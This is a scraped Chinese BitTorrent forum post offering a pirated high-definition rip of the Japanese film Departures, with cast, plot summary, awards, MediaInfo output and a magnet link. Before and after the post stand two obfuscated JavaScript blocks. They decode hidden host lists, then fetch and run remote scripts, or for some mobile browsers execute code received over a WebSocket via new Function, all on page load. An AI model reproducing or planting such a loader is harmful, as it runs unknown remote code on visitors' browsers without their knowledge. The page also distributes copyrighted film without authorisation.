入殓师[国粤语音轨/简繁字幕].Departures.2008.BluRay.1080p.3Audio.DTS-HD.MA.5.1.x265.10bit 10.64GB

版主小s 1月前 412

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNw==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x68\x6e\x49\x43\x61\x57\x73\x53\x72\x45']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};

image.png

◎译 名 入殓师 / 礼仪师之奏鸣曲(港) / 礼仪师(台) / 送行者-礼仪师的乐章(台) / 为逝者送行的人 / 纳棺师 / Departures / Okuribito

◎片 名 おくりびと

◎年 代 2008

◎产 地 日本

◎类 别 剧情

◎语 言 日语

◎上映日期 2021-10-29(中国大陆) / 2008-09-13(日本)

◎IMDb链接 https://www.imdb.com/title/tt1069238/

◎豆瓣评分 8.9/10 (498329人评价)

◎豆瓣链接 https://movie.douban.com/subject/2149806/

◎片 长 130分钟

◎导 演 泷田洋二郎 Y?jir? Takita (id:1158861)

◎编 剧 小山薰堂 Kundo Koyama (id:1010790)

◎演 员 本木雅弘 Masahiro Motoki (id:1036923)

广末凉子 Ryoko Hirosue (id:1098533)

山崎努 Tsutomu Yamazaki (id:1037053)

吉行和子 Kazuko Yoshiyuki (id:1025510)

笹野高史 Takashi Sasano (id:1012794)

余贵美子 Kimiko Yo (id:1048388)

杉本哲太 Tetta Sugimoto (id:1010294)

小越勇辉 Y?ki Ogoe (id:1315810)

橘由加莉 Yukari Tachibana (id:1154598)

峰岸彻 T?ru Minegishi (id:1010115)

宫田早苗 Sanae Miyata (id:1042935)

吴永庆 Yongqing Wu (id:1382991)

高田裕司 Takada Yuuji (id:1420730)

中泽敏明 Nakazawa Toshiaki (id:1337774)

久石让 Joe Hisaishi (id:1035647)

浜田毅 Takeshi Hamada (id:1285890)

川岛章正 Akimasa Kawashima (id:1288257)

小川富美夫 Fumio Ogawa (id:1293492)

◎标 签 日本 / 入殓师 / 剧情 / 温情 / 人性 / 广末凉子 / 奥斯卡 / 人生

◎简 介

买了昂贵的大提琴,想要成就一番事业的小林大悟(本木雅弘 饰),经历了4个月的管弦乐演奏,得到的却是“乐团解散”的噩耗与购买乐器的高昂债务。迫不得已,大悟与妻子美香(广末凉子 饰)搬到老屋,过着清贫的日子。某日,一则广告吸引了大悟的注意:NK代理公司,帮助旅行,高薪短工时。大悟来到NK代理公司面试,社长佐佐木生荣(山崎努 饰)二话不说就决定聘用大悟,但却对工作内容避而不谈。在大悟的再三追问下,佐佐木社长终于道明:是入殓(日语Nou Kan)工作!

虽然心理上有所忌惮,高额的薪水还是令大悟接受了这份工作。但这样的工作对普通人谈何容易,一方面对遗体的不适,一方面又要对妻友隐瞒自己的工作,小林大悟不平凡的工作就这样开始了。

◎获奖情况 (共17项)

第81届奥斯卡金像奖 (2009)

最佳外语片

└──泷田洋二郎 (id:1158861)

第29届香港电影金像奖 (2010)

最佳亚洲电影

第32届日本电影学院奖 (2009)

最佳影片

最佳导演

└──泷田洋二郎 (id:1158861)

最佳编剧

└──小山薰堂 (id:1010790)

最佳男主角

└──本木雅弘 (id:1036923)

最佳女主角(提名)

└──广末凉子 (id:1098533)

最佳男配角

└──山崎努 (id:1037053)

最佳女配角

└──余贵美子 (id:1048388)

最佳配乐(提名)

└──久石让 (id:1035647)

最佳摄影

└──浜田毅 (id:1285890)

最佳美术指导(提名)

└──小川富美夫 (id:1293492)

最佳照明

└──高屋斋 (id:1302347)

最佳录音

最佳剪辑

└──川岛章正 (id:1288257)

第3届亚洲电影大奖 (2009)

最佳男主角

└──本木雅弘 (id:1036923)

第33届报知映画赏 (2008)

最佳影片

└──泷田洋二郎 (id:1158861)

  1. ##### MediaInfo ######

  2. General

  3. Unique ID : 185372050893918308467594053119134941227 (0x8B755BBDEF025E260F27C16169AC402B)

  4. Complete name : Dep[email protected]BBQDDQ.COM.mkv

  5. Format : Matroska

  6. Format version : Version 4

  7. File size : 10.6 GiB

  8. Duration : 2 h 11 min

  9. Overall bit rate mode : Variable

  10. Overall bit rate : 11.6 Mb/s

  11. Encoded date : UTC 2020-11-15 03:56:49

  12. Writing application : mkvmerge v49.0.0 ('Sick Of Losing Soulmates') 64-bit

  13. Writing library : libebml v1.4.0 + libmatroska v1.6.1


  14. Video

  15. ID : 1

  16. Format : HEVC

  17. Format/Info : High Efficiency Video Coding

  18. Format profile : Main [email protected]@High

  19. Codec ID : V_MPEGH/ISO/HEVC

  20. Duration : 2 h 11 min

  21. Bit rate : 9 071 kb/s

  22. Width : 1 920 pixels

  23. Height : 1 036 pixels

  24. Display aspect ratio : 1.85:1

  25. Frame rate mode : Constant

  26. Frame rate : 23.976 (24000/1001/53354) FPS

  27. Color space : YUV

  28. Chroma subsampling : 4:2:0

  29. Bit depth : 10 bits

  30. Bits/(Pixel*Frame) : 0.190

  31. Stream size : 8.30 GiB (78%)

  32. Title : HEVC, [email protected]@High, 24/1.001 fps @ 9070 kbps

  33. Writing library : x265 3.4+14-gd419c7152:[Windows][GCC 10.2.0][64 bit] 10bit

  34. Encoding settings : cpuid=533541111039 / frame-threads=3 / numa-pools=8 / wpp / pmode / pme / no-psnr / no-ssim / log-level=2 / input-csp=1 / input-res=1920x1036 / interlace=0 / total-frames=188500 / level-idc=51 / high-tier=1 / uhd-bd=0 / ref=5 / no-allow-non-conformance / no-repeat-headers / annexb / no-aud / no-hrd / info / hash=0 / no-temporal-layers / open-gop / min-keyint=24 / keyint=240 / gop-lookahead=0 / bframes=6 / b-adapt=2 / b-pyramid / bframe-bias=0 / rc-lookahead=40 / lookahead-slices=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / no-splice / no-intra-refresh / ctu=32 / min-cu-size=8 / no-rect / no-amp / max-tu-size=32 / tu-inter-depth=3 / tu-intra-depth=3 / limit-tu=4 / rdoq-level=2 / dynamic-rd=0.00 / no-ssim-rd / signhide / no-tskip / nr-intra=0 / nr-inter=0 / no-constrained-intra / no-strong-intra-smoothing / max-merge=4 / limit-refs=1 / limit-modes / me=3 / subme=4 / merange=25 / temporal-mvp / no-frame-dup / no-hme / weightp / weightb / no-analyze-src-pics / deblock=-3:-3 / no-sao / no-sao-non-deblock / rd=6 / selective-sao=0 / no-early-skip / rskip / no-fast-intra / no-tskip-fast / no-cu-lossless / b-intra / no-splitrd-skip / rdpenalty=0 / psy-rd=2.00 / psy-rdoq=1.00 / no-rd-refine / no-lossless / cbqpoffs=0 / crqpoffs=0 / rc=crf / crf=17.0 / qcomp=0.65 / qpstep=4 / stats-write=0 / stats-read=0 / vbv-maxrate=80000 / vbv-bufsize=80000 / vbv-init=0.9 / crf-max=0.0 / crf-min=0.0 / ipratio=1.40 / pbratio=1.30 / aq-mode=2 / aq-strength=0.85 / cutree / zone-count=0 / no-strict-cbr / qg-size=32 / no-rc-grain / qpmax=69 / qpmin=0 / no-const-vbv / sar=1 / overscan=0 / videoformat=5 / range=0 / colorprim=1 / transfer=1 / colormatrix=1 / chromaloc=0 / display-window=0 / cll=0,0 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.03 / no-opt-cu-delta-qp / no-aq-motion / no-hdr10 / no-hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / no-scenecut-aware-qpconformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0

  35. Language : English

  36. Default : Yes

  37. Forced : No

  38. Color range : Limited

  39. Color primaries : BT.709

  40. Transfer characteristics : BT.709

  41. Matrix coefficients : BT.709


  42. Audio #1

  43. ID : 2

  44. Format : DTS XLL

  45. Format/Info : Digital Theater Systems

  46. Commercial name : DTS-HD Master Audio

  47. Codec ID : A_DTS

  48. Duration : 2 h 11 min

  49. Bit rate mode : Variable

  50. Bit rate : 1 796 kb/s

  51. Channel(s) : 6 channels

  52. Channel layout : C L R Ls Rs LFE

  53. Sampling rate : 48.0 kHz

  54. Frame rate : 93.750 FPS (512 SPF)

  55. Bit depth : 16 bits

  56. Compression mode : Lossless

  57. Stream size : 1.64 GiB (15%)

  58. Title : Japanese DTS-HD Master Audio 5.1 @ 1796 kbps

  59. Language : Japanese

  60. Default : Yes

  61. Forced : No


  62. Audio #2

  63. ID : 3

  64. Format : AC-3

  65. Format/Info : Audio Coding 3

  66. Commercial name : Dolby Digital

  67. Codec ID : A_AC3

  68. Duration : 2 h 10 min

  69. Bit rate mode : Constant

  70. Bit rate : 448 kb/s

  71. Channel(s) : 6 channels

  72. Channel layout : L R C LFE Ls Rs

  73. Sampling rate : 48.0 kHz

  74. Frame rate : 31.250 FPS (1536 SPF)

  75. Compression mode : Lossy

  76. Stream size : 419 MiB (4%)

  77. Title : Mandarin Dolby Digital Audio 5.1 @ 448 kbps

  78. Language : Chinese

  79. Service kind : Complete Main

  80. Default : No

  81. Forced : No


  82. Audio #3

  83. ID : 4

  84. Format : AC-3

  85. Format/Info : Audio Coding 3

  86. Commercial name : Dolby Digital

  87. Codec ID : A_AC3

  88. Duration : 2 h 10 min

  89. Bit rate mode : Constant

  90. Bit rate : 192 kb/s

  91. Channel(s) : 2 channels

  92. Channel layout : L R

  93. Sampling rate : 48.0 kHz

  94. Frame rate : 31.250 FPS (1536 SPF)

  95. Compression mode : Lossy

  96. Stream size : 180 MiB (2%)

  97. Title : Cantonese Dolby Digital Audio 2.0 @ 192 kbps

  98. Language : Chinese

  99. Service kind : Complete Main

  100. Default : No

  101. Forced : No


  102. Text #1

  103. ID : 5

  104. Format : PGS

  105. Codec ID : S_HDMV/PGS

  106. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  107. Duration : 2 h 3 min

  108. Bit rate : 15.9 kb/s

  109. Count of elements : 1834

  110. Stream size : 14.1 MiB (0%)

  111. Title : Cht/SUP 繁体

  112. Language : Chinese

  113. Default : No

  114. Forced : No


  115. Text #2

  116. ID : 6

  117. Format : PGS

  118. Codec ID : S_HDMV/PGS

  119. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  120. Duration : 2 h 3 min

  121. Bit rate : 15.5 kb/s

  122. Count of elements : 1834

  123. Stream size : 13.7 MiB (0%)

  124. Title : Chs/SUP 简体

  125. Language : Chinese

  126. Default : Yes

  127. Forced : No


  128. Text #3

  129. ID : 7

  130. Format : PGS

  131. Codec ID : S_HDMV/PGS

  132. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  133. Duration : 2 h 3 min

  134. Bit rate : 13.3 kb/s

  135. Count of elements : 1730

  136. Stream size : 11.8 MiB (0%)

  137. Title : Cht/SUP 繁体

  138. Language : Chinese

  139. Default : No

  140. Forced : No


  141. Text #4

  142. ID : 8

  143. Format : PGS

  144. Codec ID : S_HDMV/PGS

  145. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  146. Duration : 2 h 3 min

  147. Bit rate : 13.7 kb/s

  148. Count of elements : 1730

  149. Stream size : 12.1 MiB (0%)

  150. Title : Chs/SUP 简体

  151. Language : Chinese

  152. Default : No

  153. Forced : No


  154. Text #5

  155. ID : 9

  156. Format : PGS

  157. Codec ID : S_HDMV/PGS

  158. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  159. Duration : 2 h 3 min

  160. Bit rate : 17.0 kb/s

  161. Count of elements : 1991

  162. Stream size : 15.0 MiB (0%)

  163. Title : Cht/SUP 繁体

  164. Language : Chinese

  165. Default : No

  166. Forced : No


  167. Text #6

  168. ID : 10

  169. Format : PGS

  170. Codec ID : S_HDMV/PGS

  171. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  172. Duration : 2 h 3 min

  173. Bit rate : 16.5 kb/s

  174. Count of elements : 1991

  175. Stream size : 14.6 MiB (0%)

  176. Title : Chs/SUP 简体

  177. Language : Chinese

  178. Default : No

  179. Forced : No


  180. Text #7

  181. ID : 11

  182. Format : PGS

  183. Codec ID : S_HDMV/PGS

  184. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  185. Duration : 2 h 9 min

  186. Bit rate : 12.5 kb/s

  187. Count of elements : 1567

  188. Stream size : 11.6 MiB (0%)

  189. Title : Eng/SUP

  190. Language : English

  191. Default : No

  192. Forced : No


  193. Text #8

  194. ID : 12

  195. Format : PGS

  196. Codec ID : S_HDMV/PGS

  197. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  198. Duration : 2 h 3 min

  199. Bit rate : 16.7 kb/s

  200. Count of elements : 2093

  201. Stream size : 14.8 MiB (0%)

  202. Title : Eng/SUP

  203. Language : English

  204. Default : No

  205. Forced : No


  206. Menu

  207. 00:00:00.000 : :第 01 章

  208. 00:08:23.336 : :第 02 章

  209. 00:16:48.424 : :第 03 章

  210. 00:18:30.818 : :第 04 章

  211. 00:27:53.046 : :第 05 章

  212. 00:32:53.221 : :第 06 章

  213. 00:37:20.572 : :第 07 章

  214. 00:38:38.149 : :第 08 章

  215. 00:43:38.324 : :第 09 章

  216. 00:47:32.516 : :第 10 章

  217. 00:50:57.805 : :第 11 章

  218. 00:58:41.601 : :第 12 章

  219. 01:01:52.959 : :第 13 章

  220. 01:08:54.630 : :第 14 章

  221. 01:14:18.454 : :第 15 章

  222. 01:16:20.117 : :第 16 章

  223. 01:24:10.629 : :第 17 章

  224. 01:31:37.534 : :第 18 章

  225. 01:34:07.642 : :第 19 章

  226. 01:40:33.194 : :第 20 章

  227. 01:46:46.900 : :第 21 章

  228. 01:49:26.059 : :第 22 章

  229. 01:56:11.923 : :第 23 章

  230. 02:06:26.746 : :第 24 章




复制代码


TAGS 剧情

磁力链:
  • magnet:?xt=urn:btih:66E4594441FFF79BBA51615FB192BB1AC423ABE4

上传的附件:
BT9527.com论坛第一帅,不接受任何反驳
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。
最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回
发新帖
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNg==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x59\x72\x72\x51\x4e\x72\x4a\x5a\x7a\x42']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};